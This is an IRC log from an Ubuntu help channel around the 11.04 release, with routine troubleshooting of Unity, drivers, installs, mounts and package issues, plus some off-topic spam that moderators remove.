[17:41] <Bunbury> ActionParsnip: do u use gnome 3 on natty and does /var/lib/gdm need some permissions?
[17:41] <insanity99> http://www.ubuntugeek.com/list-of-ubuntu-unity-keyboard-shortcuts.html
[17:41] <arvut> is there a good reason to make the swap bigger than the ram when I have 2gb of ddr2 ram?
[17:41] <joH28> anyone?
[17:41] <Chipzzz> thummper: you should be able to set the number of workspaces using it although I don't exactly how... in earlier versions, you would look in desktop->applications->window_manager
[17:41] <IdleOne> !shortcuts > insanity99
[17:41] <ubottu> insanity99, please see my private message
[17:42] <nnnnweerer> action : it worked
[17:42] <nnnnweerer> thanks a ton man
[17:42] <nnnnweerer> exit
[17:42] <ActionParsnip> nnnnweerer: np man
[17:42] <CignoNero> no joh28 i've installed ubuntu over windows and opensuse dual-booted and for me no conflict
[17:42] <stephan_> hey, I have a question. I am running natty with unity and my clock applet in the panel is missing. How can I restore it?
[17:43] <thien> what will happen if i del a mount point, is it del data in the filesystem?
[17:43] <ActionParsnip> thummper: if you use compiz, its set in ccsm under general options -> desktop size tab
[17:43] <jrib> thien: if it's mounted, sure
[17:43] <thummper> Chipzzz: there's nothing staring with 'w' in the apps bit =/
[17:43] <joH28> CignoNero, thanks. So it wil not write to the MBR yes?
[17:43] <ActionParsnip> thien: if the partition is mounted then I believe it will, if nothing is mounted then its ok
[17:44] <sahil> coz_,  thats mine http://paste.ubuntu.com/602875/
[17:44] <Chipzzz> thummper: look a little farther up at ActionParsnip's advice... he knows 11.04
[17:44] <silvertip257> Has anyone PXE booted an Ubuntu live CD and averted problems with NetworkManager?  https://wiki.ubuntu.com/LiveCDNetboot
[17:44] <coz_> sahil,  that is the new generated list ...yes?
[17:44] <thummper> ActionParsnip: i don't have compiz
[17:44] <pentos> Krishnandu: got it thanks. not sure it helps much tho - how can w run a script when we cant see the screen ? :(
[17:44] <Bunbury> is anyone running gnome 3 on natty?
[17:45] <joH28> arvut, 2GB SWAP is fine for using hibernate and suspend. As far as bigger goes, not if you are running too man apps that the 2GB is used up Linux will start using swap.
[17:45] <thummper> ActionParsnip: well, i don't think i have.. i didn't find anything with the search
[17:46] <mindkeep> hello, using 11.04 Unity, is there anything that parallels an application dock? I feel like there is no visible notifications for things like pidgin and thunderbird
[17:46] <sahil_> coz_, no..its my own list
[17:46] <CignoNero> JoH28 i'm not an expert but i can say i've installed ubuntu many times on different configuration and grub ever recognized all operating system on my lapton i never had problem
[17:46] <afkaway> > check out my new secure chatsystem..
[17:46] <afkaway> > ssh -2Cc blowfish-cbc -p 20622 -l user magizian.dyndns.org
[17:46] <afkaway> > or
[17:46] <afkaway> > ssh -2Cc blowfish-cbc -p 20622 -l user magizian.dyndns.org
[17:46] <afkaway> > whichevers faster. Password is freeaccess
[17:46] <FloodBot1> afkaway: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:46] <afkaway> > Let me know if you want you want a personal account or a group account
[17:46] <afkaway> > you can have your own or share several of them on the same account like user:freeaccess   and have up to 250 screens
[17:46] <sahil_> restarted my pc still the same problem
[17:46] <pentos> Krishnandu: do you think a video card with a direfent chipset might be ok?
[17:46] <ActionParsnip> mindkeep: mine has the system tray, transmission and such sit in there
[17:46] <thummper> ActionParsnip: oh nvm i do xD, but how do i open it?
[17:47] <ActionParsnip> thummper: press ALT+F2 and run: ccsm
[17:47] <coz_> sahil_,  ah ok   then  download the generated list,,, open yours with   sudo gedit /etc/apt/sources.list,,, delete  the contents and replace it with the new generated list and save
[17:47] <Pici> afkaway: That has nothing to do with Ubuntu.
[17:47] <IdleOne> afkaway: Please don't spam in Ubuntu channels.
[17:47] <joH28> CignoNero, OK. I guess that's it. Gonna try Natty soon. Thanks!
[17:47] <sahil_> coz_ can u send me the link?again?
[17:48] <coz_> sahil_,     http://repogen.simplylinux.ch/
[17:48] <CignoNero> you are really welcome joH28 :)
[17:48] <joH28> mindkeep, the launcher is the app dock in one the way the designed it.
[17:48] <mindkeep> ActionParsnip: is that something else to install, or just the left side? that doesn't do well for status notification
[17:49] <user82> hi. my banshee music is on my ntfs windows drive. how can i automount it on booting?
[17:49] <james_> hi all
[17:49] <stefg> !mount
[17:49] <ubottu> mount is used to attach devices to directories. See also https://help.ubuntu.com/community/Mount
[17:49] <mindkeep> also I miss having a running performance monitor in the dock, all you get are static icons from dasher
[17:49] <LHR_crew> hello people! I have installed ubuntu 10.10 on my Samsung netbook and hasn't given me problems (wifi only has got a few issues). did an update today and I've lost the side menu. I don't know what to do... I have tried to restart many times but every time there is nothing but my wallpaper on the screen.. any suggestions???
[17:49] <james_> my touchpad vertical scroll isn't working
[17:50] <TheRedOctober> Anyone know the prefferred way to install ruby 1.9.1 in ubuntu?
[17:50] <stefg> !fstab
[17:50] <ubottu> The /etc/fstab file indicates how drive partitions are to be used or otherwise integrated into the file system. See https://help.ubuntu.com/community/Fstab and http://www.tuxfiles.org/linuxhelp/fstab.html and !Partitions
[17:50] <broot> Does anyone know where the "Rescue System" is? On the LiveCD, that is.
[17:50] <thummper> ActionParsnip: ah done it thanks :D
[17:50] <stefg> !fstab | user82
[17:50] <ubottu> user82: please see above
[17:50] <Chipzzz> user82: put it in your fstab to make the mount persistant
[17:50] <user82> okay..
[17:50] <xteejx> Can someone help me with bundler (http://phototour.cs.washington.edu/bundler/) I can't seem to find the right options for the --add_images option
[17:50] <user82> can i also do mount command into rc.local?
[17:50] <mindkeep> Is there any way to add things to the top bar? next to volume and such?
[17:51] <tomekh> hi. accidentaly i have removed $HOME/.bash_logout - anyone can pastebin me content of this file?
[17:51] <joH28> user82, yes you can but fstab is the recommended way to do it
[17:51] <coz_> mindkeep,  no  unless you find new indicators...take a look here for a few things to do    http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[17:51] <stefg> user82: you could, but there are reasons to use fstab
[17:51] <user82> ok..ill do that
[17:51] <xteejx> tomekh: http://paste.ubuntu.com/602880/
[17:51] <mindkeep> thanks coz_
[17:52] <coz_> mindkeep,   the upper panel is NOT a gnome panel  anylonger at least not in Unity
[17:52] <LHR_crew> hello people! I have installed ubuntu 10.10 on my Samsung netbook and hasn't given me problems (wifi only has got a few issues). did an update today and I've lost the side menu. I don't know what to do... I have tried to restart many times but every time there is nothing but my wallpaper on the screen.. any suggestions???
[17:52] <miceiken> ActionParsnip: I'm running the memtest, but i'm just gonna ask again in case somebody else might have an idea
[17:52] <tomekh> xteejx: thanks mate.
[17:52] <xteejx> tomekh: No prob :)
[17:52] <afkaway> > ..check out my new secure chatsystem.. http://pastebin.com/5VJUS6rn
[17:52] <miceiken> Does anyone know what's wrong? I'm installing Ubuntu 11.04 from scratch, and all of the sudden when I'm at Install the base system, this error pops up (at about 90%) "Please insert the disc labeled 'Ubuntu-Server 11.04 _Natty Narwhal_ - Release amd64 (20110426)' in the drive '/media/cdrom/' and press enter.". But that's the CD currently in the ROM - I have verified the contents of the disk and
[17:52] <miceiken> they are valid (the md5 hasehs match too)
[17:52] <bloodscalp> Little question. I've recently installed wine and there is a licence agreement of ttf-mscorefonts to accept. The "gui" (it's in a terminal) finishes qith <ok> but I can't find a way to accept it, and finish the install proprely.
[17:52] <sahil_> coz_, seems like working...*crosses finger*
[17:52] <coz_> sahil_,  cool
[17:53] <ActionParsnip> bloodscalp: use tab then enter
[17:53] <coz_> miceiken,   mm you might want to try either the alternate cd or the mini cd
[17:53] <coz_> miceiken,  neither of which is a live cd
[17:53] <miceiken> is this a live cd?
[17:53] <miceiken> :P
[17:53] <bloodscalp> ActionParsnip, omg, thank u, i feel quite stupid
[17:53] <sahil_> coz_, ****YAPPIEEEEEEE*
[17:53] <joH28> LHR_crew, 10.10 with the netbook edition?
[17:53] <coz_> miceiken,   I dont know  did you download the live cd/
[17:53] <stefg> miceiken: i had this, too with some server installs form CD... unsolved bug, praise the ubuntu quality assurance
[17:53] <coz_> sahil_,   there go guy :)
[17:54] <LHR_crew> hi joh28... yes... did the update as prompted...
[17:54] <vorlov> hello
[17:54] <vorlov> does anyone here have experience with the AMI provided by Ubuntu on Amazon?
[17:54] <coz_> miceiken,  if you want a link to the mini cd which is only 19 megs  I have it here
[17:54] <vorlov> specifically with the new natty one
[17:54] <vorlov> natty release
[17:54] <miceiken> coz_: the server edition?
[17:54] <sahil_> coz_, *shakes hand**hugs*thnx bro...i cud never had guessed the soln of the problem
[17:55] <joH28> LHR_crew, you sure it was not upgrade?
[17:55] <LHR_crew> upgrade.. sorry... :)
[17:55] <coz_> miceiken,  actually it is for any of the options and I believe server is there as well... it will eventually give a list of what you might want to install,,,arrows to scroll the list    SPACEBAR  to select an item
[17:55] <LHR_crew> i am actually new to all of this.. my ex put ubuntu on my netbook
[17:55] <coz_> miceiken,    http://dl.dropbox.com/u/132551/mini.iso
[17:55] <miceiken> coz_: so how does it work? download everything?
[17:56] <coz_>   miceiken  its only  19 megs and it does indeed install via the net
[17:56] <miceiken> stefg: so it's a bug? did you solve it somehow
[17:56] <joH28> LHR_crew,  I think you've upgraded to 11.04. On mine it gave me that prompt too.
[17:56] <miceiken> coz_: okay, I guess i'll try
[17:56] <vorlov> im trying to figure out why the new natty image for i386 isn't available on the m1.large... but the amd version is available on a large instanfe
[17:56] <vorlov> instance
[17:56] <vorlov> ?
[17:56] <coz_> miceiken,  i have come to rely on the mini.iso images  for time  and a bit more assureance that the download itself will most likely not be corruped  with 19 megs :)
[17:56] <stefg> miceiken: it starts te installer from a ramdisk and d/l's all the packages directly from the repos. you only d/l what you want, and you have the newest version
[17:56] <LHR_crew> joH28 yes.. it think that is the upgrade it was say it was installing... what did you do
[17:56] <coz_> miceiken,  corrupted I meant
[17:57] <tomekh> if i do (in command line): Name_of_dir_[and tab here], bash doesn't append "/" at end of dir, but it appends whitespace. where to fix that?
[17:57] <arvut> joH28: ty, I probably wont do that. 2gb mem is enough for what I do on the laptop. desktop has 8gb tho, you can probably understand why ;)
[17:57] <afkaway> > ..check out my new secure chatsystem.. http://pastebin.com/5VJUS6rn
[17:57] <afkaway> > ..check out my latest projects.. http://magizian.hopto.org
[17:57] <joH28> LHR_crew, I didn't. I'm staying on 10.10. I'll wait for 11.10 before I upgrade. :D
[17:57] <miceiken> coz_: and it's reliable?
[17:58] <sahil_> coz_, one thing :is there no global menu support for synaptic?even the new scrollbars(ayanta scrollbars or smthing) sometimes appear in synamtic and mostly no
[17:58] <miceiken> stefg: is there some kind of option for default select?
[17:58] <llutz> tomekh: do you have an "adobe" or "flashplugin" file in /etc//bash_completion.d/ ?
[17:58] <Trueman> Hi, guys! Have somebody edid.bin file for samsung r560-bs02 or for monitor with native resolution 1650x1050_60? I have a problem when nvidia driver tries to detect EDID information from my LCD monitor. Help!
[17:58] <coz_> miceiken,  it is a text install although there is a gui like thingy,,, not difficult to deal with,, just remember,,, when you get the list of possible installs  ,, space bar is the key to tick the box,,although if you choose nothing you will boot into text console and you can install from there if you likje
[17:58] <coz_> like
[17:59] <joH28> arvut, Well yeah, but can you still suspend/hibernate on an 8GB RAM with less swap? Mine always complains swap is not sufficient. Never tried to check if there was a way around that. :)
[17:59] <tomekh> llutz: i do not have "adobe" or "flashplugin", but i have acroread.sh :)
[17:59] <miceiken> coz_: text install? like the default one then? :P
[17:59] <tomekh> llutz: which i have installed yesterday :)
[17:59] <llutz> tomekh: sry, acroread it is, https://bugs.launchpad.net/ubuntu/+source/bash-completion/+bug/716008
[17:59] <ubottu> Ubuntu bug 716008 in Partner Packaging "strange bahavior on directory completion with bash built-in commands (dup-of: 752193)" [Undecided,Confirmed]
[17:59] <ubottu> Ubuntu bug 752193 in acroread (Ubuntu) "Installation of the acroread package causes completion to treat directories like files with some commands" [Undecided,Confirmed]
[17:59] <LHR_crew> joH28 how to downgrade?
[17:59] <coz_> miceiken,   sort of... try it out,, you are bound to install it if you dont like it
[17:59] <llutz> tomekh: easiest: delete that file
[17:59] <sahil_>  coz_, one thing :is there no global menu support for synaptic?even the new scrollbars(ayanta scrollbars or smthing) sometimes appear in synaptic and mostly no
[18:00] <stefg> miceiken: in the process  you will get a task selection. you can either choose meta-packages (like ubuntu-desktop) or even individual packages
[18:00] <miceiken> okay coz_: trying now, this is for 11.04?
[18:00] <tomekh> llutz: thanks, i'll check that bug
[18:00] <miceiken> stefg: okay im gonna boot it up and see how it looks
[18:00] <stefg> !minimal
[18:00] <ubottu> The Minimal CD image is very small in size, and it downloads most packages from the Internet during installation, allowing you to select only those you want (the installer is like the one on the !Alternate CD). See https://help.ubuntu.com/community/Installation/MinimalCD
[18:00] <coz_> sahil_,   no   not that I amware of
[18:00] <Laggg> Setting Update "initiate_all_edge"
[18:01] <Laggg> my terminal is frozen there
[18:01] <Laggg> after running compiz --replace
[18:01] <joH28> LHR_crew, I'm afraid there is no rollback option save for reinstalling 10.10 (somebody correct me if I'm wrong). However if you have /home on a separate partition, it shouldn't be too hard.
[18:01] <coz_> miceiken,  it is indeed  11.04   the background shoule be that purple color
[18:01] <miceiken> no purple color here
[18:01] <sahil_> kk cya guys later.gotta DBMS exam tommorow tc
[18:01] <miceiken> itt looks all black to me :P
[18:01] <coz_> miceiken,  the ONLY issue with mini  iso  is it cannot be used on usb
[18:01] <tomekh> llutz: yeah, sed -i "s/_filedir/_filedir_acroread/" /etc/bash_completion.d/acroread.sh helped :)
[18:01] <coz_> miceiken,   did you burn to disk/
[18:01] <coz_> ??
[18:01] <BotenAnna> hello all, I just updated to 11.04 and it booted up and got to the login screen, but when I log in it just shows the purple swirl wallpaper and sits there and compiz is reporting 99% cpu time on top
[18:01] <Jordan_U> coz_: Yes it can.
[18:01] <miceiken> coz_ yes
[18:01] <coz_> Jordan_U,  cool
[18:02] <BotenAnna> i rebooted, same thing again
[18:02] <BotenAnna> any idea what might be wrong?
[18:02] <miceiken> oh
[18:02] <miceiken> now its purple
[18:02] <fayenia> ppl i have a problem i was configuring my ati radeon Target, everything was working just fine before that, now my screen is all messed up and freezed im in recovery mode, i tryed to uninstall them and reinstall them and the problem persist , i also tried to "dpkg-reconfigure x-server-xorg"
[18:02] <coz_> miceiken,   there you go
[18:02] <Jordan_U> coz_: Unetbootin is named as such because (IIRC) the netboot images (like mini.iso) are particularly easy to boot from USB :)
[18:02] <volvering> hi some one know how to change the name on terminal? my one is like this "volvering@volvering-G71V-Invalid-entry-length-0-DMI-table-is-broken-Stop:~$ "
[18:02] <jbwiv_> guys, on Unity, I have the little blue triangle thingy up at the top left indicating some sort of notification, but I can't find what's triggering it. Does this thing log anywhere?
[18:03] <coz_> Jordan_U,   ok I will try that,, it certainly will be an advantage :)
[18:03] <miceiken> coz_: all the specifics come later, right?
[18:03] <eiriksvin> is there a way to get tranparent windows in Natty?
[18:03] <miceiken> I pressed install instead of command-line install
[18:03] <miceiken> :P
[18:03]  * kanneblei wonders why FloodBot1 just asked someone on ubuntu-unregged if P=NP... if that guy can answer that one I'm betting he could get some money out of it.
[18:03] <coz_> miceiken,  all of the possible installs indeed will come later,, so give it time
[18:03] <coz_> miceiken,  you wont miss it :)
[18:04] <miceiken> coz_: okay, thanks for your help
[18:04] <miceiken> stefg: you too :)
[18:04] <stefg> np
[18:04] <arvut> joH28: my win7 worked fine until 2 days ago. all hibernation attempts since then has failed :/ gonna try it on ubuntu and gentoo once I have those installed.
[18:04] <coz_> miceiken,  no problem... let me know if that works better for you
[18:04] <miceiken> Installing the base system now, so we'll see soon
[18:05] <BotenAnna> ugh I just logged in as Ubuntu Classic
[18:05] <Trueman> Guys, has somebody EDID.bin file for LCD with native resolution 1650x1050_60?
[18:05] <BotenAnna> worrying because I was hoping to switch to Unity
[18:05] <BotenAnna> but I guess not :(
[18:05] <BotenAnna> but at least it works
[18:05] <miceiken> suppose I wouldnt had the issue in the first place if I used USB?
[18:05] <mang0> arghhh!
[18:05] <LHR_crew> joH28 I didn't understand the last msg u sent... can u pvt me?
[18:05] <mang0> I'm having problems installing
[18:05] <mang0> ;__;
[18:05] <mang0> wait a sec. Let me link.
[18:05] <miceiken> I probably used 6 cds to now
[18:05] <miceiken> lol
[18:05] <stefg> BotenAnna: this most likely means that your 3D acceleration does not work
[18:06] <blargg> Please point me to a web page describing the purpose of SCSI emulation of IDE hard disks. I've looked for a long time now but can't find any explanation for this (plenty reasons for CD/DVD drives, but not hard drives).
[18:06] <francesc1> has anyone in here made the switch to 11.04
[18:06] <bubu> Guys, has somebody EDID.bin file for LCD with native resolution 1650x1050_60?
[18:06] <mang0> Okay guys, I'm having real big problem installing Ubuntu: http://www.pasteall.org/21230/text Read that please.
[18:06] <miceiken> francesc1: I did on my server, and it ended in a disaster because I didnt do it properly
[18:06] <blargg> For example, I have an SATA HD but it shows up as /dev/sda, not /dev/hda
[18:06] <arand> francesc1: Many, do you have a support question?
[18:06] <miceiken> francesc1: do the do-release-upgrade! :)
[18:07] <mang0> oh, and PM me the answer, as I'm just going to dinner. Thanks!
[18:07] <stefg> !libata
[18:07] <mang0|OUT> oops
[18:07] <eiriksvin> is there a way to get tranparent windows in Natty? i want to be able to see through any windows  i have up
[18:07] <francesc1> miceiken: thats what ii am doing now.. normally i just do a fresh install ... thought i d give this a try... hopefully all goes well
[18:07] <bubu> Guys, has anyone EDID.bin file for LCD monitor with native resolution 1650x1050_60?
[18:07] <miceiken> francesc1: I did a sources.list update, then ran normal apt-get upgrade etc
[18:08] <ActionParsnip> bubu: this has a link to it: http://www.hatmaandnovi.com/1/post/2010/7/how-to-install-nvidia-g210m-driver-and-internal-mic-on-ubuntu-910-karmic-koala-and-sony-vaio-vpccw18fj.html
[18:08] <miceiken> well, it fucked everything up
[18:08] <ActionParsnip> bubu: please don't repeat that often, it achieves very little
[18:08] <bubu> ActionParsnip: thanks
[18:08] <bubu> ActionParsnip: ok
[18:08] <miceiken> Okay, new question: I have 2 harddrives, now the mini installer probably cleans out the one I selected, right? But the other one I want to format aswell, how do I go about to do this?
[18:08] <stefg> blargg:   https://wiki.ubuntu.com/LibAtaForAtaDisks
[18:09] <pkkm> What does the 'd' stand for in /etc/init.d and conf.d?
[18:09] <merlin2049er> can i get some gadgets for my desktop in 11.04?
[18:09] <llutz> pkkm: config-DIR
[18:09] <BotenAnna> stefg: I've upgraded on other computers (ok all virtual machines) and it just tells me as such and boots into classic. idefk what's going on here
[18:09] <IdleOne> !language | miceiken
[18:09] <ubottu> miceiken: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[18:09] <pkkm> llutz, thanks.
[18:09] <miceiken> sorry
[18:09] <merlin2049er> my virtual box and vuze stopped working in 11.04
[18:09] <yoyoned> miceiken: what do you wnat to do with the second drive
[18:09] <miceiken> yohyoh: format it
[18:09] <miceiken> like remove all data
[18:10] <Comthre3> hi all,,
[18:10] <Comthre3> quick question,, I've recently upgraded to Natty 11.04 among my other issues, Transmission (bittorrent clietn) just stopped wokring,, all ports are open, and the client itself is the latest verstion 2.22
[18:10] <BotenAnna> virtualbox works with unity but you have to install some beta guest tools (or get them through apt) and enable 3d accelration
[18:10] <ActionParsnip> Comthre3: does it work as another user
[18:10] <BotenAnna> though when im running vbox i'm running it in windows, no idea about a linux host
[18:10] <yoyoned> miceiken: do you plan on using it with ubuntu and if so how
[18:10] <blargg> stefg, thanks, so basically the rationale is that it's simpler to deal with a single interface to SCSI/SATA/PATA hard disks than multiple interfaces, AND the wrapper for the latter two has proven to be really stable?
[18:10] <Comthre3> ActionParsnip: No,,
[18:10] <coz_> be back in a bit
[18:11] <stefg> BotenAnna: virtual machines usually do not have hardware 3D. Exemption is virtualbox, which has a halfway working 3D hardware acceleration. In fact i'm typing this on a natty virtualbox VM with unity
[18:11] <ActionParsnip> Comthre3: try renaming the transmission config folder and rerunning it so you get vanilla settings
[18:11] <merlin2049er> ok, now it seems to work
[18:11] <Comthre3> I've googled came up with a couple of solutions including deleting the config folder
[18:11] <miceiken> yoyoned: yes, I plan to use it as a storage device, if it's possible I'd like to have it "merged" with the other harddrive
[18:11] <merlin2049er> before it said something about a com error
[18:11] <Comthre3> ActionParsnip: Done that to no use,,
[18:12] <BotenAnna> stefg: of course its not complete but it works enough to run unity usually. though now im installing it on actual hardware it's broken. grr
[18:12] <bubu> ActionParsnip: I tried a lot of programs but they cannot give me edid.bin files. Maybe because of monitor, I don't know. Now i am trying to find edid.bin file for 1650x1050_60 LCDs
[18:13] <dagon> what a waste downloading the new ubuntu release it's all kinds of wacked
[18:13] <stefg> BotenAnna: what does lspci | grep VGA spit out?
[18:13] <blargg> bubu, 1650, not 1680?
[18:13] <merlin2049er> ok, i got them both running. maybe i had not enough space on my boot drive
[18:13] <yoyoned> miceiken: "merging" is possible but complicated.  You would have to use LVM or a newer filesystem like btrfs.  If is probably simpleist to format it, and mount it as something like /media/storage
[18:13] <bubu> blargg: oh sorry. of course 1680
[18:13] <thure> While upgrading from 10.10 to 11.04, upgrade froze. Got this error: http://goo.gl/xKaQV, reconfigured dpkg and ran apt-get update -f. Now ubuntu boots, but there is no GUI at all. (It is available via SSH and AFP, but still…)
[18:13] <miceiken> yoyoned: not that big of a deal, what I've done earlier is just mounting it to a folder, and I'm okay with that, so well I need to know how to format it
[18:13] <dagon> can I fix the task bars in the new release so it dont look like a messed up version of mac
[18:14] <blargg> bubu, have you searched for the model number? I've seen people post their edid files to message boards before.
[18:14] <BotenAnna> stefg: 01:00.0 VGA compatible controller: nVidia Corporation G98 [GeForce 8400 GS] (rev a1)
[18:14] <stefg> !classic | dagon
[18:14] <ubottu> dagon: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[18:14] <miceiken> stefg: so I've come to the install part, one question tho, the LAMP server is just apache, mysql and php from aptitude in seperate packages?
[18:14] <stefg> BotenAnna: ok, so sudo at-get install nvidia-current, then reboot
[18:14] <dagon> ubottu thank you kindly because this unity is garbage sorry lol
[18:14] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[18:14] <zeknox> miceiken: you can run sudo tasksel to install the lamp if you would like also
[18:15] <dagon> lol
[18:15] <yoyoned> miceiken: easy way is to use gparted
[18:15] <bubu> blargg: my LCD monitor is a part of laptop Samsung r560-bs02. I tried to search on samsung sites but no success(
[18:15] <dagon> should be called headache not unity lol
[18:15] <stefg> BotenAnna: that's  apt-get , of course
[18:15] <BotenAnna> stefg: nvidia-current is already the newest version.
[18:15] <BotenAnna> :3
[18:15] <eiriksvin> does jabber work through empathy right along side facebook
[18:16] <BotenAnna> even with apt-get update
[18:16] <stefg> BotenAnna: ls /etc/X11/xorg.conf
[18:16] <miceiken> yoyoned: Okay, thanks :) i'll look it up
[18:16] <BotenAnna> stefg: it's there
[18:16] <lachfome> howto move all trafic to privoxy with iptables
[18:17] <elb0w> How do you check the current driver thats being used for graphics?
[18:17] <elb0w> shell / gui
[18:17] <lachfome> howto move all trafic to privoxy with iptables
[18:17] <stefg> BotenAnna: so does nvidia-settings (the Nividia Control panel) work ? if so the driver is enabled, if not the driver is installed, but somehow not active
[18:18] <zeknox> elb0w: /etc/X11/xorg.conf might show you, not positive on that
[18:18] <BotenAnna> stefg: it comes up, and I used it to configure it in the past
[18:18] <stefg> BotenAnna: hmmm... so you should have working 3D
[18:18] <merlin2049er> are there any gadgets for the desktop for 11.04?
[18:19] <miceiken> After a fresh install, how do I set the root password? oO
[18:19] <Bunbury> SWEET METHUSILAH : I HAD TO INSTALL LXDE, BOOT INTO IT THEN LOG INTO GNOME 3
[18:19] <DSpair> Hello all, need some help with an issue on a package.
[18:19] <Comthre3> someone!
[18:19] <Comthre3> please!
[18:19] <zeknox> miceiken: sudo passwd root
[18:19] <bastidrazor> miceiken: you don't. a root password is not supported here.
[18:19] <Magizian_^> Secure trilevel encrypted Com/chat server
[18:19] <Magizian_^> > ssh -2Cc blowfish-cbc -p 20622 -l user magizian2.dyndns.org
[18:19] <Magizian_^> Password is freeaccess     /join #new      make an account
[18:19] <FloodBot1> Magizian_^: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:19] <miceiken> why not?
[18:19] <BotenAnna> stefg: this is mx xorg.conf http://pastebin.mozilla.org/1217647 and this shows up when i run the tool, though it works fine http://pastebin.mozilla.org/1217648
[18:19] <stefg> BotenAnna: what happens if you open a terminal and 'compiz --replace' ? (Caution, machine might hang)
[18:20] <lachfome> howto move all trafic to privoxy with iptables
[18:20] <DSpair> Our company has a repo with packages for our own software, and one of the packages was malformed. Now I cannot seem to remove it. Where can I look to find some help?
[18:20] <miceiken> bastidrazor: wont everyone have access to my server then?
[18:20] <zeknox> miceiken: sudo passwd root
[18:20] <bastidrazor> miceiken: if you give them your password. then yes.
[18:20] <bastidrazor> ~noroot
[18:20] <bastidrazor> !noroot
[18:20] <bubu> Has anyone EDID.bin files for LCD 1680x1050_60?
[18:20] <ubottu> We do not support setting a root password. You're free to do it on your own machine, but please don't offer instructions on how to set a root password or ask for help with setting it. See !root and !wfm for more information.
[18:20] <miceiken> zeknox: thanks, I go it :)
[18:20] <stefg> !apt | DSpair
[18:20] <ubottu> DSpair: APT is the Advanced Package Tool, which together with dpkg forms the basic Ubuntu package management toolkit. Short apt-get manual: https://help.ubuntu.com/community/AptGetHowto - Also see !Synaptic (Gnome), !Adept (KDE) or !KPackageKit (KDE)
[18:21] <miceiken> what, I thought apt was aptitude
[18:21] <zeknox> miceiken: some say that not having a root password is more secure because you can't log into that account then, therefor bruteforce attacks are worthless against the root user
[18:21] <BotenAnna> stefg: after I did that things are behaving strangely
[18:21] <BotenAnna> no window borders, I can't interact with most things though some mouse drags change into an icon?
[18:22] <BotenAnna> it's weird
[18:22] <miceiken> zeknox, hmm, I see.
[18:22] <miceiken> zeknox: while we're on the topic, isn't root the owner of /var/www?
[18:22] <stefg> BotenAnna: you have a dual screen setup .... i heard there are issues with unity on dual screen. try to disable one screen and see if it works
[18:23] <hydrozen> Hi there. My super key does not seem to be working on 11.04 on my Lenovo thinkpad. Any ideas how I can figure out why it seems to do nothing (although the cursor blinks when I press it).
[18:23] <hydrozen> Any ideas if i might have remapped it a while ago and dont remember it? if so, in which file would that be
[18:23] <BotenAnna> stefg: could very well be the case, I do have two screens
[18:23] <zeknox> miceiken: I believe it is wwwroot or something www user, I forgot to be exact, but you can always sudo su to become root without the root pw
[18:23] <miceiken> www-data?
[18:23] <eiriksvin> does someone have jabber set up through empathy that can send me a message?
[18:24] <zeknox> miceiken: yup that is it
[18:24] <stefg> BotenAnna: to have window borders gain try 'metacity --replace &'
[18:24] <zeknox> miceiken: www-data is not a real account if I remember correctly
[18:24] <miceiken> zeknox: oh okay, so how should I go about setting up data in there? or should I rather edit my apache config?
[18:25] <BotenAnna> stefg: I just rebooted lol
[18:25] <zeknox> miceiken: sudo su
[18:25] <zeknox> miceiken: that will make you become root
[18:25] <BotenAnna> but yeah I bet that it is dual monitors
[18:26] <miceiken> zeknox: okay then
[18:26] <BotenAnna> I would love it if they spent an entire release cycle getting more than one monitor to work properly because it is 2011 :V
[18:26] <MarkSS> What are some good programs to use for my sql needs?
[18:26] <miceiken> How do I set prefered local ip?
[18:26] <dwxreaper> how do I tell a specific package to not update when doing apt-get upgrade
[18:26] <bastidrazor> !pin | dwxreaper
[18:26] <ubottu> dwxreaper: pinning is an advanced feature that APT can use to prefer particular packages over others. See https://help.ubuntu.com/community/PinningHowto
[18:26] <stefg> !pinning | dwxreaper
[18:26] <zeknox> miceiken: be more specific
[18:26] <dwxreaper> bastidrazor: thanks
[18:27] <bastidrazor> dwxreaper: you're welcome
[18:27] <miceiken> zeknox: I have all my ports forwarded to 192.168.10.104, I want the server to have this local ip, if I recall correctly there was I file I could edit for that.
[18:27] <zeknox> miceiken: /etc/network/interfaces ?
[18:27] <stefg> miceiken: /etc/network/interfaces
[18:27] <miceiken> thanks
[18:28] <MarkSS> What is a good SQL program for Ubuntu?
[18:28] <zeknox> miceiken: man interfaces
[18:28] <Under97> Come mai ubuntu non mi installa i tunes?
[18:28] <zeknox> MarkSS: be more specific on what you want to do
[18:28] <stefg> !it | Under97
[18:28] <ubottu> Under97: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[18:28] <MarkSS> zeknox: I want to teach myself SQL and later use it for a volunteer database.
[18:29] <OY1R> Q: is it a good idea to have /boot on a seperate partition ?
[18:29] <stefg> OY1R: if you plan on raid or lvm: yes , other wise there's little use
[18:30] <zeknox> MarkSS: MySQL is a nice opensource product that works well with ubuntu
[18:30] <OY1R> stefg: thanks
[18:30] <OY1R> so no need for my use at least.
[18:30] <MarkSS> zeknox: So should I consider trying MySQL Navigator then?
[18:30] <zeknox> MarkSS: not familiar with that product
[18:31] <eiriksvin> how do i stop  the stuff from disappearing on the top bar in natty?
[18:31] <OY1R> i have 128mb boot, 30gb for / and 100gb for /home
[18:31] <OY1R> i'll just do a reinstall
[18:31] <stefg> !classic | eiriksvin
[18:31] <ubottu> eiriksvin: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[18:32] <ActionParsnip> stefg: glad that factoid exists :)
[18:32] <stefg> OY1R: not really necessary... it won't hurt
[18:32] <miceiken> what is /dev/sde1? When I start the GRUB boot loader it seems like there are like 20 OSes
[18:32] <eiriksvin> like in xchat how XChat   View   Sever   Settings   Window   Help       all disappear when i move the mouse away from it
[18:32] <mpeddi> Defect? 11.04 resuming from hibernate messes up my screen, have to restart to get screen working again
[18:32] <ejv> miceiken: different kernel versions?
[18:32] <mpeddi> known issue?
[18:33] <miceiken> ejv: they're all 11.04
[18:33] <MarkSS> How do I replace Unity with Gnome? I hate it.
